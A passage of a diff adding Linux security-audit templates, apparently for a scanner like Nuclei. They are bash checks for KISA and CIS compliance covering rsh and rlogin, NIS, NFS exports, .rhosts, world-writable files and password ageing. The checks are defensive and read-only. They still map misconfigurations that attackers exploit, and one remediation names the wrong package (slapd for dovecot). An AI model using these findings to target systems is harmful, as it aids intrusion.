+      if [ -f "/etc/xinetd.d/daytime" ] && grep -iq 'disable[[:space:]]*=[[:space:]]*no' "/etc/xinetd.d/daytime"; then
+        echo "[VULNERABLE] daytime service is enabled in /etc/xinetd.d/daytime"
+      else
+        echo "[SAFE] daytime service is disabled or not present"
+      fi
+
+  - engine:
+      - bash
+    source: |
+      if [ -f "/etc/xinetd.d/chargen" ] && grep -iq 'disable[[:space:]]*=[[:space:]]*no' "/etc/xinetd.d/chargen"; then
+        echo "[VULNERABLE] chargen service is enabled in /etc/xinetd.d/chargen"
+      else
+        echo "[SAFE] chargen service is disabled or not present"
+      fi
+
+    matchers:
+      - type: word
+        name: echo
+        part: code_1_response
+        words:
+          - "[VULNERABLE]"
+
+      - type: word
+        name: daytime
+        part: code_2_response
+        words:
+          - "[VULNERABLE]"
+
+      - type: word
+        name: chargen
+        part: code_3_response
+        words:
+          - "[VULNERABLE]"
+
+      - type: word
+        name: discard
+        part: code_4_response
+        words:
+          - "[VULNERABLE]"
+# digest: 4a0a0047304502202cf91c265090819bbe6e79552565776586d650aba479c020577e231fe19482af022100d2ed2e30103881d316dbe4f9d4b517a6e63b4c44a950ce6c5f1468f23914491d:922c64590222798bb761d5b6d8e72950

code/linux/audit/linux-nis-service.yaml

@@ -0,0 +1,42 @@
+id: linux-nis-service
+
+info:
+  name: NIS Service Should Be Disabled
+  author: songyaeji
+  severity: high
+  description: |
+    Evaluated the status of NIS service daemons on the system. Active NIS services could have permitted unauthorized users to escalate privileges or access sensitive account information, posing a significant security risk.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: linux,local,audit,kisa,compliance
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      if command -v systemctl >/dev/null 2>&1; then
+          if systemctl is-active --quiet ypserv ypbind; then
+              echo "[VULNERABLE] NIS service is running"
+              systemctl status ypserv ypbind
+          else
+              echo "[SAFE] NIS service is not running"
+          fi
+      else
+          running=$(ps -ef | egrep "ypserv|ypbind" | grep -v grep)
+          if [ -n "$running" ]; then
+              echo "[VULNERABLE] NIS service is running"
+              echo "$running"
+          else
+              echo "[SAFE] NIS service is not running"
+          fi
+      fi
+
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "[VULNERABLE]"
+# digest: 4a0a00473045022100b5b0f42b84f5cd2ca06b1a201d906667dc91a01dfd53273bdc01b3a65cc4595d0220603376d78e13e2573dd6af85849d0e5c9d897410e6be681645167165bc5d2a62:922c64590222798bb761d5b6d8e72950

code/linux/audit/linux-nisplus-service.yaml

@@ -0,0 +1,42 @@
+id: linux-nisplus-service
+
+info:
+  name: NIS+ Service Should Be Disabled
+  author: songyaeji
+  severity: high
+  description: |
+    Evaluated the status of NIS+ service daemons on the system.Active NIS+ services could have permitted unauthorized users to escalate privileges or access sensitive account information, representing a significant security risk.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: linux,local,audit,kisa,compliance
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      if command -v systemctl >/dev/null 2>&1; then
+          if systemctl is-active --quiet rpc.yppasswdd rpc.yppupdated ypxfrd; then
+              echo "[VULNERABLE] NIS+ service is running"
+              systemctl status rpc.yppasswdd rpc.yppupdated ypxfrd
+          else
+              echo "[SAFE] NIS+ service is not running"
+          fi
+      else
+          running=$(ps -ef | egrep "rpc.yppasswdd|rpc.yppupdated|ypxfrd" | grep -v grep)
+          if [ -n "$running" ]; then
+              echo "[VULNERABLE] NIS+ service is running"
+              echo "$running"
+          else
+              echo "[SAFE] NIS+ service is not running"
+          fi
+      fi
+
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "[VULNERABLE]"
+# digest: 4b0a00483046022100ec34476a472e1a3b3be1d9a49138bc89f071403a821f0a1faef12d98134ca6fa022100ca746f642a4eb1564535e3ceafdde417713b4d795f53ecd7c874cae12a7587f8:922c64590222798bb761d5b6d8e72950

code/linux/audit/linux-rexec-service.yaml

@@ -0,0 +1,31 @@
+id: linux-rexec-service
+
+info:
+  name: rexec Service Should Be Disabled
+  author: songyaeji
+  severity: high
+  description: |
+    Assessed the operational status of the rexec service on the system.Running rexec could have allowed unauthorized users to gain access or extract sensitive information, representing a significant security risk.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: linux,local,audit,kisa,compliance
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      if grep -i 'disable[[:space:]]*=[[:space:]]*no' /etc/xinetd.d/rexec 2>/dev/null; then
+          echo "[VULNERABLE] rexec service is enabled"
+      else
+          echo "[SAFE] rexec service is disabled"
+      fi
+
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "[VULNERABLE]"
+# digest: 490a00463044022003bbbed1e0bd7a6f80f662b6ecc935324f16f9097cf8c7fddaebca4e567fc26f02204a000af2bb0c14fb63940f14fd5e04647a2e49f2d56fecb1555ec9573f42c439:922c64590222798bb761d5b6d8e72950

code/linux/audit/linux-rhosts-hostsequiv-misconfig.yaml

@@ -0,0 +1,60 @@
+id: linux-rhosts-hostsequiv-misconfig
+
+info:
+  name: Rhosts and Hosts.equiv Misconfiguration Check
+  author: songyaeji
+  severity: high
+  description: |
+    Assessed the presence and configuration of .rhosts and /etc/hosts.equiv files. Files with unsafe '+' entries, incorrect permissions, or improper ownership could have permitted unauthorized remote command execution via rlogin or rsh.
+  reference:
+    - https://isms.kisa.or.kr
+    - https://linux.die.net/man/5/hosts.equiv
+  tags: linux,local,audit,kisa,compliance
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    source: |
+      check_hosts_equiv() {
+          if [ -f /etc/hosts.equiv ]; then
+              echo "[FOUND] /etc/hosts.equiv exists"
+              ls -l /etc/hosts.equiv
+              if grep -q '^\+' /etc/hosts.equiv; then
+                  echo "[WARN] Unsafe '+' entry found in /etc/hosts.equiv"
+              fi
+              perms=$(stat -c "%a" /etc/hosts.equiv)
+              owner=$(stat -c "%U" /etc/hosts.equiv)
+              if [ "$perms" -gt 644 ] || [ "$owner" != "root" ]; then
+                  echo "[WARN] /etc/hosts.equiv has improper permissions or ownership"
+              fi
+          fi
+      }
+
+      check_rhosts() {
+          find /home /root -maxdepth 2 -name ".rhosts" 2>/dev/null | while read rhost; do
+              echo "[FOUND] $rhost"
+              ls -l "$rhost"
+              if grep -q '^\+' "$rhost"; then
+                  echo "[WARN] Unsafe '+' entry found in $rhost"
+              fi
+              perms=$(stat -c "%a" "$rhost")
+              owner=$(stat -c "%U" "$rhost")
+              if [ "$perms" -gt 600 ] || [ "$owner" != "root" ]; then
+                  echo "[WARN] $rhost has improper permissions or ownership"
+              fi
+          done
+      }
+
+      check_hosts_equiv
+      check_rhosts
+
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "/etc/hosts.equiv"
+          - ".rhosts"
+          - "[WARN]"
+# digest: 490a00463044022055990939cd2ff6e0a667754a6946d386089f4113dec88883b5db24420baf3ebc022058e5e428009c5edab46a409bddb9a4ea3104561a85f3683e1c5ee940a6315038:922c64590222798bb761d5b6d8e72950

code/linux/audit/linux-rlogin-service.yaml

@@ -0,0 +1,31 @@
+id: linux-rlogin-service
+
+info:
+  name: rlogin Service Should Be Disabled
+  author: songyaeji
+  severity: high
+  description: |
+    Assessed the operational status of the rlogin service on the system.Running rlogin could have allowed unauthorized users to gain access or extract sensitive information, representing a significant security risk.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: linux,local,audit,kisa,compliance
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      if grep -i 'disable[[:space:]]*=[[:space:]]*no' /etc/xinetd.d/rlogin 2>/dev/null; then
+          echo "[VULNERABLE] rlogin service is enabled"
+      else
+          echo "[SAFE] rlogin service is disabled"
+      fi
+
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "[VULNERABLE]"
+# digest: 4b0a00483046022100c6f1c8b6c83616490a00bc065ea6a8c8894a3a5c6163a952ac9f582026bfc9a5022100a9495cbde17bb7a534ecad34c9b2dc13f2adac753067701c127423b9a5c55451:922c64590222798bb761d5b6d8e72950

code/linux/audit/linux-root-remote-login.yaml

@@ -0,0 +1,42 @@
+id: linux-root-remote-login
+
+info:
+  name: Linux Root Remote Login Enabled - Misconfig
+  author: songyaeji
+  severity: high
+  description: |
+    Root remote login was enabled either through /etc/securetty or via SSH configuration.This misconfiguration increased the risk of unauthorized system access.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/
+  metadata:
+    verified: true
+  tags: local,linux,ssh,root,misconfig,kisa,compliance
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      cat /etc/securetty 2>/dev/null | grep -E 'pts/[0-9]+' || echo "no-securetty"
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      cat /etc/ssh/sshd_config 2>/dev/null | grep -E '^PermitRootLogin\s+yes' || echo "no-root-ssh"
+
+    matchers:
+      - type: word
+        name: tty
+        part: code_1_response
+        words:
+          - "pts/"
+
+      - type: word
+        name: ssh
+        part: code_2_response
+        words:
+          - "PermitRootLogin yes"
+# digest: 4a0a00473045022100d3f9e9bf332239dff21fed19b2f4e154516bd0150c3e2664a3bc8d47bdc936eb022048de72c0c6425034051202b5d63abff5701dbe0b2b6e84870cfe4760a05a4e1a:922c64590222798bb761d5b6d8e72950

code/linux/audit/linux-rsh-service.yaml

@@ -0,0 +1,31 @@
+id: linux-rsh-service
+
+info:
+  name: rsh Service Should Be Disabled
+  author: songyaeji
+  severity: high
+  description: |
+   Assessed the operational status of the rsh service on the system.Running rsh could have allowed unauthorized users to gain access or extract sensitive information, representing a significant security risk.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: linux,local,audit,kisa,compliance
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      if grep -i 'disable[[:space:]]*=[[:space:]]*no' /etc/xinetd.d/rsh 2>/dev/null; then
+          echo "[VULNERABLE] rsh service is enabled"
+      else
+          echo "[SAFE] rsh service is disabled"
+      fi
+
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "[VULNERABLE]"
+# digest: 490a00463044022033b38de938931e97c6dae4db07a43ccf5b914fdc77d09467f50ed7f9fe8e027e0220453f6d5a24c1e28bfaab7ac33a33aa2ab1de8c671b76ac3a76df3d8efe0e7ab7:922c64590222798bb761d5b6d8e72950

code/linux/audit/linux-world-writable-file.yaml

@@ -0,0 +1,28 @@
+id: linux-world-writable-file
+
+info:
+  name: Linux World-Writable File Permission
+  author: songyaeji
+  severity: high
+  description: |
+    System files were configured with world-writable (chmod o+w) permissions.Malicious users could modify them, leading to privilege escalation, backdoors, or service disruption.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: linux,local,audit,compliance,kisa
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      find / -type f -perm -0002 ! -path "/tmp/*" -exec ls -l {} \; 2>/dev/null
+
+    matchers:
+      - type: regex
+        name: world-writable-files
+        part: response
+        regex:
+          - "^-........w.*"
+# digest: 4b0a00483046022100cb4eeed99539ca94bafeaaa60912f67fcac73a5d2c5a4f77d1f5085271959995022100e8df18d9e16d1dd7a187b6bde457f4706e1863500ba810dae15f383f8942bace:922c64590222798bb761d5b6d8e72950

code/linux/audit/message-access-server.yaml

@@ -0,0 +1,43 @@
+id: message-access-server
+
+info:
+  name: Ensure Message Access Server Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The dovecot-imapd package provides the Dovecot IMAP server, which allows users to remotely access email stored on the system. If not explicitly required, having this service installed unnecessarily increases the system's attack surface and could expose it to potential remote exploits. To maintain a secure system, IMAP services should only be installed and enabled when there is a clear business requirement.
+  remediation: |
+    - Ensure the `slapd` package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove slapd -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s dovecot-imapd &>/dev/null; then
+          echo "[message-access-server-check:Policy-Fail] [dovecot-imapd is installed] [CIS_FAIL]"
+        else
+          echo "[message-access-server-check:Policy-Pass] [dovecot-imapd is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4a0a00473045022100872017f5f8005a6556592b1ae6736a0bfca00d3a127dfdf01e9f2e5a955638d502204fc22979eee455173e7bb24f6cdcee46165063e16f761d501f0f9f5e0cde79cd:922c64590222798bb761d5b6d8e72950

code/linux/audit/nfs-daemon-service.yaml

@@ -0,0 +1,39 @@
+id: nfs-daemon-service
+
+info:
+  name: NFS Service Daemon Should Be Disabled
+  author: songyaeji
+  severity: high
+  description: |
+     Assessed the status of the NFS service daemon. A running NFS service may expose the system to unauthorized access, modification, or deletion of files; it is recommended to disable the daemon when not explicitly required.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: linux,local,audit,kisa,compliance
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      if command -v systemctl >/dev/null 2>&1; then
+        if systemctl is-active --quiet nfs-server; then
+          echo "[VULNERABLE] NFS service is active (systemd nfs-server is running)"
+        else
+          echo "[SAFE] NFS service is not running"
+        fi
+      else
+        if ps -ef | grep -v grep | grep -q nfsd; then
+          echo "[VULNERABLE] NFS service is active (nfsd is running)"
+        else
+          echo "[SAFE] NFS service is not running"
+        fi
+      fi
+
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "[VULNERABLE]"
+# digest: 490a0046304402202e365f52032e4d73bd77139c21b39a53cde40c7ccfcadc601d7838be496b568702205752a5bedecd1cdfe538de1f56707780e86398de4153e89ba87a4a2d5ca82f11:922c64590222798bb761d5b6d8e72950

code/linux/audit/nfs-insecure-exports.yaml

@@ -0,0 +1,35 @@
+id: nfs-insecure-exports
+
+info:
+  name: NFS Insecure Exports Check
+  author: songyaeji
+  severity: high
+  description: |
+    Verified whether access control was properly configured on NFS.Highlighted possibilities such as allowing all hosts, no_root_squash, or unrestricted all_squash that could let unauthorized users access shared directories.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: linux,local,audit,kisa,compliance
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      if grep -Eq '^[^#].*\(.*no_root_squash.*\)' /etc/exports; then
+        echo "[VULNERABLE] NFS allows root access with no_root_squash"
+      elif grep -Eq '^[^#].*\*' /etc/exports; then
+        echo "[VULNERABLE] NFS allows access to all (*) hosts"
+      elif grep -Eq '^[^#].*\(.*all_squash.*\)' /etc/exports; then
+        echo "[WARN] NFS uses all_squash (verify if access is restricted)"
+      else
+        echo "[SAFE] NFS access appears restricted"
+      fi
+
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "[VULNERABLE]"
+# digest: 4a0a00473045022044c9658bfe1ee89876d142333d465adc26d4ec93e6b1bc4f0cacfcac454672de02210093fab4dd0015863b7414c0f9b963424ee7063c05badd0b041209eb45ac875cbd:922c64590222798bb761d5b6d8e72950

code/linux/audit/nis-client.yaml

@@ -0,0 +1,44 @@
+id: nis-client
+
+info:
+  name: Ensure NIS Client is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The nis package provides the Network Information Service client, which is insecure and deprecated.If not explicitly required, it should be removed to reduce the system’s attack surface.
+  remediation: |
+    - Ensure the nis package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove nis -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu,nis
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        # Check if the nis package is installed
+        if dpkg-query -W -f='${Status}' nis 2>/dev/null | grep -q "install ok installed"; then
+          echo "[cis-nis-client-check:Policy-Fail] [NIS is installed] [CIS_FAIL]"
+        else
+          echo "[cis-nis-client-check:Policy-Pass] [NIS is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4a0a00473045022100cfc6bf15d445dff51f2fba3848fa1387d14074791850f1f0c91293107f5149be022068f71166dae4ec578d4ca2b043f92349a31fc68dc0e945644c2831490c3665e2:922c64590222798bb761d5b6d8e72950

code/linux/audit/password-expiration.yaml

@@ -0,0 +1,48 @@
+id: password-expiration
+
+info:
+  name: Ensure Password Expiration is Configured
+  author: Th3l0newolf
+  severity: medium
+  description: |
+    The PASS_MAX_DAYS setting in /etc/login.defs defines how long a password may be used before it must be changed.To comply with CIS Ubuntu Linux Benchmark, this value should be set to a number greater than 0 and less than or equal to 365.
+  remediation: |
+    Edit /etc/login.defs and ensure the line is set to: PASS_MAX_DAYS 365 (or another value between 1 and 365).Verify the change with: grep -Pi -- '^\h*PASS_MAX_DAYS\h+\d+\b' /etc/login.defs
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu,password
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        MAX_DAYS_LINE=$(grep -Pi -- '^\h*PASS_MAX_DAYS\h+\d+\b' /etc/login.defs | head -n1)
+        if [ -n "$MAX_DAYS_LINE" ]; then
+          VALUE=$(echo "$MAX_DAYS_LINE" | awk '{print $2}')
+          if [ "$VALUE" -gt 0 ] && [ "$VALUE" -le 365 ]; then
+            echo "[password-expiration-check:Policy-Pass] [PASS_MAX_DAYS is $VALUE (valid)] [CIS_PASS]"
+          else
+            echo "[password-expiration-check:Policy-Fail] [PASS_MAX_DAYS is $VALUE (invalid)] [CIS_FAIL]"
+          fi
+        else
+          echo "[password-expiration-check:Policy-Fail] [PASS_MAX_DAYS not set or malformed] [CIS_FAIL]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4a0a004730450221009cbba7657038b7d04af3978e24d438753c705b2be8c9303bb01944ae5b4e600602201d065b7a3fb76908156e03c53a22c3af9b2eaed544712284fa33520f6796396f:922c64590222798bb761d5b6d8e72950

code/linux/audit/password-min-days.yaml

@@ -0,0 +1,48 @@
+id: password-min-days
+
+info:
+  name: Ensure Minimum Password Days is Configured
+  author: Th3l0newolf
+  severity: medium
+  description: |
+    The PASS_MIN_DAYS setting in /etc/login.defs defines the minimum number of days required between password changes.This prevents users from rapidly cycling through passwords to bypass password history requirements.
+  remediation: |
+    Edit /etc/login.defs and ensure the line is set to: PASS_MIN_DAYS 1 (or another value greater than 0).Verify the change with: grep -Pi -- '^\h*PASS_MIN_DAYS\h+\d+\b' /etc/login.defs
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu,password
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        MIN_DAYS_LINE=$(grep -Pi -- '^\h*PASS_MIN_DAYS\h+\d+\b' /etc/login.defs | head -n1)
+        if [ -n "$MIN_DAYS_LINE" ]; then
+          VALUE=$(echo "$MIN_DAYS_LINE" | awk '{print $2}')
+          if [ "$VALUE" -gt 0 ]; then
+            echo "[password-min-days-check:Policy-Pass] [PASS_MIN_DAYS is $VALUE (valid)] [CIS_PASS]"
+          else
+            echo "[password-min-days-check:Policy-Fail] [PASS_MIN_DAYS is $VALUE (invalid)] [CIS_FAIL]"
+          fi
+        else
+          echo "[password-min-days-check:Policy-Fail] [PASS_MIN_DAYS not set or malformed] [CIS_FAIL]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4a0a004730450220330c91b891028088a62cf87539435efb09e867da81d82656fe153f2032b450c8022100f5c059a68d37d56fbb607417af39f2cdad76a318f41d466fb1d89e57edf1d05c:922c64590222798bb761d5b6d8e72950

code/linux/audit/password-warn-age.yaml

@@ -0,0 +1,48 @@
+id: password-warn-age
+
+info:
+  name: Ensure Password Expiration Warning Days is Configured
+  author: Th3l0newolf
+  severity: medium
+  description: |
+    The PASS_WARN_AGE setting in /etc/login.defs defines the number of days before password expiration that users are warned.To comply with CIS Ubuntu Linux Benchmark, this value should be set to 7 to provide sufficient notice for users to change passwords.
+  remediation: |
+    Edit /etc/login.defs and ensure the line is set to: PASS_WARN_AGE 7.Verify the change with: grep -Pi -- '^\h*PASS_WARN_AGE\h+\d+\b' /etc/login.defs
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu,password
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        WARN_AGE_LINE=$(grep -Pi -- '^\h*PASS_WARN_AGE\h+\d+\b' /etc/login.defs | head -n1)
+        if [ -n "$WARN_AGE_LINE" ]; then
+          VALUE=$(echo "$WARN_AGE_LINE" | awk '{print $2}')
+          if [ "$VALUE" -eq 7 ]; then
+            echo "[password-warn-age-check:Policy-Pass] [PASS_WARN_AGE is $VALUE (valid)] [CIS_PASS]"
+          else
+            echo "[password-warn-age-check:Policy-Fail] [PASS_WARN_AGE is $VALUE (invalid)] [CIS_FAIL]"
+          fi
+        else
+          echo "[password-warn-age-check:Policy-Fail] [PASS_WARN_AGE not set or malformed] [CIS_FAIL]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4a0a00473045022015f03c2bbecc12ef5fd92faa8928633477ade84d8fcd8980daad1984cba9ce56022100bc5d09e37c69098da51ad12d5fe668c86785f76d2b1e1b19515f3018a73f9e8a:922c64590222798bb761d5b6d8e72950

code/linux/audit/root-path-dot.yaml

@@ -0,0 +1,29 @@
+id: root-path-dot
+
+info:
+  name: Root PATH Contains Current Directory
+  author: songyaeji
+  severity: high
+  description: |
+    root user’s PATH environment variable included the current directory (“.”).This allowed scripts or binaries in the working directory to be executed with root privileges. The misconfiguration resulted in potential privilege escalation and unsafe behavior.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/
+    - https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
+  metadata:
+    verified: true
+  tags: local,linux,audit,privesc,kisa
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+    source: |
+      echo $PATH | grep -Eq '(^\.?:|:.:|:\.$|^\.$)' && echo "dot-in-path" || echo "safe-path"
+
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "dot-in-path"
+# digest: 4b0a004830460221009bc443da27ba4a09097561e6237be8676c76bea133bb051901740f075e5ffe6d022100b56139ecfd6da3702a70cee28aba51fbdc9dde4be9ae7742a31c020ee5bccebb:922c64590222798bb761d5b6d8e72950

code/linux/audit/rpc-enabled.yaml

@@ -0,0 +1,36 @@
+id: rpc-enabled
+
+info:
+  name: Unnecessary RPC Service (rstatd) Enabled
+  author: songyaeji
+  severity: high
+  description: |
+    Unnecessary RPC services like rstatd were enabled, allowing attackers to exploit buffer overflow, DoS, or remote execution vulnerabilities to gain root privileges and compromise the system.These services were expected to be disabled unless explicitly required.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: linux,local,audit,compliance,kisas
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    source: |
+      if [ -f /etc/xinetd.d/rstatd ]; then
+        if grep -qE 'disable\s*=\s*no' /etc/xinetd.d/rstatd; then
+          echo "[VULNERABLE] rstatd RPC service is enabled in xinetd"
+        else
+          echo "[SAFE] rstatd RPC service is disabled in xinetd"
+        fi
+      elif systemctl is-active --quiet rstatd 2>/dev/null; then
+        echo "[VULNERABLE] rstatd service is active under systemd"
+      else
+        echo "[SAFE] rstatd service not found"
+      fi
+
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "[VULNERABLE]"
+# digest: 4b0a00483046022100f6750e913cde576eb96f1c12fb0f90474840d40783c1e161429833ad56d220b4022100930976aea7d528355a4292f446f0d04e47a668ee56c75baaadea94fb96d2441d:922c64590222798bb761d5b6d8e72950

code/linux/audit/rsh-client.yaml

@@ -0,0 +1,43 @@
+id: rsh-client
+
+info:
+  name: Ensure rsh Client is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The rsh-client package provides the Remote Shell client, which transmits data in plaintext and is considered insecure.If not explicitly required, it should be removed to reduce exposure to unauthorized remote access.
+  remediation: |
+    Ensure the rsh-client package is not installed unless explicitly required.To remove the package, run: sudo apt-get remove rsh-client -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu,rsh
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        # Check if the rsh-client package is installed
+        if dpkg-query -W -f='${Status}' rsh-client 2>/dev/null | grep -q "install ok installed"; then
+          echo "[cis-rsh-client-check:Policy-Fail] [rsh-client is installed] [CIS_FAIL]"
+        else
+          echo "[cis-rsh-client-check:Policy-Pass] [rsh-client is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4a0a00473045022100f533077d301c1f42c4d08231ece267cb23ed7b5c19ba1d044c4b1a84dcc14b7f02207cd04519969a2f4f6d584e3b3d04aec08b4eb4f85c07337d2692f13c1ca23791:922c64590222798bb761d5b6d8e72950

code/linux/audit/rw-hosts-file.yaml

@@ -0,0 +1,29 @@
+id: rw-hosts-file
+
+info:
+  name: /etc/hosts File Read/Write Check
+  author: songyaeji
+  severity: high
+  description: |
+    The /etc/hosts file was writable by non-root users, allowing attackers to register malicious DNS mappings and redirect legitimate domains (pharming attacks). This check verified that /etc/hosts was owned by root and had appropriate permissions.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/
+  metadata:
+    verified: true
+  tags: local,linux,hosts,file,audit,kisa
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      stat -c "%U %G %a" /etc/hosts 2>/dev/null || echo "not-found"
+
+    matchers:
+      - type: regex
+        part: response
+        regex:
+          - '^root\s+root\s+(600|644)$'
+# digest: 4a0a00473045022017a5a0e8603f419052c28b1a4247cf2ad1427ed06e840c85cb976599aba89ac50221009d55c0bde34158f8e63bfd6c2a090e801dd4271f75947ef4ad2d9baa133294ab:922c64590222798bb761d5b6d8e72950

code/linux/audit/sendmail-postfix-execution-restrictions.yaml

@@ -0,0 +1,63 @@
+id: sendmail-postfix-execution-restrictions
+
+info:
+  name: Sendmail/Postfix Execution Restrictions Misconfigured
+  author: songyaeji
+  severity: medium
+  description: |
+    General users were not restricted from executing Sendmail with the q option, and the Postfix binary lacked proper permission controls.This misconfiguration allowed unauthorized users to manipulate the mail queue or disrupt mail delivery.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: local,linux,audit,sendmail,postfix,compliance
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    source: |
+      if ! grep -qi 'restrictqrun' /etc/mail/sendmail.cf 2>/dev/null; then
+        echo "[VULNERABLE] sendmail.cf missing 'restrictqrun'"
+      else
+        echo "[SAFE] restrictqrun option is set in sendmail.cf"
+      fi
+
+  - engine:
+      - bash
+    source: |
+      if [ -x /usr/sbin/postfix ]; then
+        PERM="$(stat -c '%A' /usr/sbin/postfix 2>/dev/null || echo '')"
+        if [ "$PERM" != "-rwxr-x---" ]; then
+          echo "[VULNERABLE] /usr/sbin/postfix permission is '$PERM' (expected -rwxr-x---)"
+        else
+          echo "[SAFE] postfix binary permission is correct"
+        fi
+      fi
+
+  - engine:
+      - bash
+    source: |
+      if getent group postfix >/dev/null 2>&1; then
+        MEMBERS="$(getent group postfix | awk -F ':' '{print $4}')"
+        echo "$MEMBERS" | grep -qw root || echo "[VULNERABLE] 'root' not in 'postfix' group"
+      fi
+
+    matchers:
+      - type: word
+        name: restrictqrun
+        part: code_1_response
+        words:
+          - "[VULNERABLE]"
+
+      - type: word
+        name: postfix-permission
+        part: code_2_response
+        words:
+          - "[VULNERABLE]"
+
+      - type: word
+        name: postfix-group
+        part: code_3_response
+        words:
+          - "[VULNERABLE]"
+# digest: 4a0a004730450220532eeadc9b326aedf00c342a793b477a85a927a91a2fb1ae9caf341d4f41aa32022100cad5d3ff5d3bc482a80979d50961d98d11788235a82926fcff701b4028fff58c:922c64590222798bb761d5b6d8e72950

code/linux/audit/smtp-open-relay.yaml

@@ -0,0 +1,59 @@
+id: smtp-open-relay
+
+info:
+  name: Linux SMTP Open Relay Misconfigured
+  author: songyaeji
+  severity: high
+  description: |
+    Sendmail and Postfix were checked for proper restrictions against unauthorized relay attempts. Improper configurations allowed attackers to abuse the server for spam or denial-of-service (DoS) attacks.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: linux,local,kisa,audit,compliance
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    source: |
+      if ps -ef | grep -v grep | grep -q sendmail; then
+        if grep -q 'R\$.\* \$#error \$@ 5.7.1 \$: "550 Relaying denied"' /etc/mail/sendmail.cf 2>/dev/null \
